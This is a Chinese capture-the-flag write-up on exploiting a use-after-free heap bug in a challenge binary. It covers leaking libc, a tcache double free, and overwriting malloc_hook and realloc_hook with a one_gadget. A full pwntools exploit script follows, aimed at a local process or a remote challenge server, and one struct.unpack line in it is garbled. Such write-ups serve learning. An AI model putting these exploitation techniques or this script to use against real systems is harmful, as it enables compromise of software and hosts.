漏洞点:
在进行free操作后没有把chunk指针置为0 所以存在UAF漏洞
思路:
泄露libc地址:
泄露libc地址比较简单,由于题目限定输入的size范围要小于0x100, 所以无法创建一个大小可以直接放入unsortedbin中的chunk, 可以先填满tchachebin, 然后在free一个chunk,这个chunk便会进入unosrtedbin
这是chunk的fd变指向了libc地址,调用show函数时会把这个libc地址作为name输出来
tchachebin attack:
由于tchachebin是单链表形式,所以可以进行double free来构造一个循环链表,再对控制链表的第一个chunk的fd指针便可以达成覆盖malloc_hook 的目的
但是由于程序在创建chunk的时候会在我们输入的size上再加上40,并且输入的数据是从chunk+32开始输入的,所以前32个字节我们无法通过正常手段控制
解决办法:
1.创建9个大小为0x80 - 40 的chunk, 假设编号为0-8
2.创建3个大小为0x40 - 40 的chunk,假设编号为9-11
3.将chunk0-chunk8全部free掉,那么这样会填满tchachebin,chunk7和chunk8会在unsortedbin中合并,此时合并后chunk 的大小为0x120
4.再创建一个大小为0xe8 的chunk,会重用上面合并的chunk, 设置好数据修改chunk8的size为0x130
5.之后先后free掉chunk9, chunk10, chunk9
那么在tchachebin中的情况就是
chunk9 --> chunk10 --> chunk9 --> …
6.再malloc(0x40 - 40)
tchachebin:
chunk10 --> chunk9 --> …
之前修改了chunk8的size ,再次分配时可以造成溢出从而控制chunk8 的fd指针
创建chunk的时输入size为0x100, 程序会调用malloc(0x100 + 40) , 会重用chunk8, 再布置好数据即可控制chunk9 的fd
指针
当我做到这的时候确认把malloc_hook 覆盖为one_gadget时 兴冲冲的去跑脚本,结果one_gadget 都试了一遍,全部出现错误,然后一个一个调试去看看约束条件满不满足,结果发现都不满足,不知道怎么办这题我就放着了…
昨天看到利用realloc调整栈环境 从而让one_gadget 变得有效才知道自己知道得太少了
realloc函数会进行push和pop操作,通过跳到realloc+x 可以造成push 和 pop操作得次数不相等,从而为one_gadget调整栈环境, 调整范围得字节为48 或72字节
realloc函数在执行时会检查realloc_hook , 若不为零则跳转至realloc_hoook 中的地址,由于realloc_hook 与malloc_hook 是相邻的,所以可以通过覆盖malloc_hook 为realloc+x, 再将realloc_hook 覆盖为one_gadget ,从而getshell
知道利用realloc函数调整栈环境后便一个一个试,在跳到realloc+8 处终于getshell了!!
有关知识链接:
堆的六种利用手法
EXP:
from pwn import *
import struct
context(arch='amd64', os='linux', log_level='debug')
debug = 0
d = 0
if debug == 0:
p = process("./amazon")
if d == 0:
gdb.attach(proc.pidof(p)[0])
else:
p = remote("121.41.38.38", 9999)
def buy(size, content):
p.sendlineafter("Your choice: ", "1")
p.sendlineafter("What item do you want to buy: ", "1")
p.sendlineafter("How many: ", "1")
p.sendlineafter("How long is your note: ", str(size))
p.sendlineafter("Content: ", content)
def checkout(index):
p.sendlineafter("Your choice: ", "3")
p.sendlineafter("Which item are you going to pay for: ", str(index))
def show():
p.sendlineafter("Your choice: ", "2")
for i in range(6): #(1-6)-1
buy(0x100 - 40, "hahahah")
buy(0x100 - 40, "libc:") #7-1
buy(0x100 - 40, "hahahahah") #8-1
buy(0x30 - 40, "1111111111") #9-1
for i in range(7):
checkout(i)
checkout(7)
show()
#raw_input()
p.recvuntil("libc:\n")
p.recvuntil("Name: ")
libc_addr = p.recvline()[:6]
print "libc_addr->" + libc_addr
libc_addr += '\x00\x00'
libc_addr = struct.unpack(", libc_addr)[0]
print "libc_addr->" + hex(libc_addr)
libc_base = libc_addr - 0x3EBCA0
elf = ELF("./amazon")
libc = ELF("amazon_libc-2.27.so")
got_printf = elf.symbols['printf']
one_gadget = libc_base + 0x10a38c
#4f2c5 4f322 10a38c
print "one_gadget->" + hex(one_gadget)
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "malloc_hook->__" + hex(malloc_hook)
realloc = libc_base + libc.symbols['__libc_realloc']
print "realloc->__" + hex(realloc)
for i in range(7): #(10-16) - 1
buy(0x100 - 40, "hehehe")
buy(0x100 - 40, "heheh") #17-1
#raw_input()
for i in range(9): #(18-26)-1
buy(0x80 - 40, "1111111")
## 25-1 26-1
buy(0x40 - 40, "1111111") #27 - 1
buy(0x40 - 40, "2222222") #28 - 1
buy(0x40 - 40, "3333333") #29 - 1
for i in range(9):
checkout(17+i)
payload = 'a'*8*13 + p64(0x130)
buy(0xe8, payload)
checkout(26)
checkout(27)
checkout(26)
checkout(25)
#raw_input()
buy(0x40 - 40, 'a')
payload = 'b'*8*13 + p64(0x41) + p64(malloc_hook - 40)
buy(0x100, payload)
#raw_input()
buy(0x40 - 40, 'c')
buy(0x40 - 40, 'd')
#raw_input()
payload = p64(one_gadget) + p64(realloc + 8)
buy(0x40 - 40, payload)
#raw_input()
p.sendlineafter("Your choice: ", str(1))
p.sendlineafter("What item do you want to buy: ", str(1))
p.sendlineafter("How many: ", str(1))
p.sendlineafter("How long is your note: ", str(1))
p.interactive()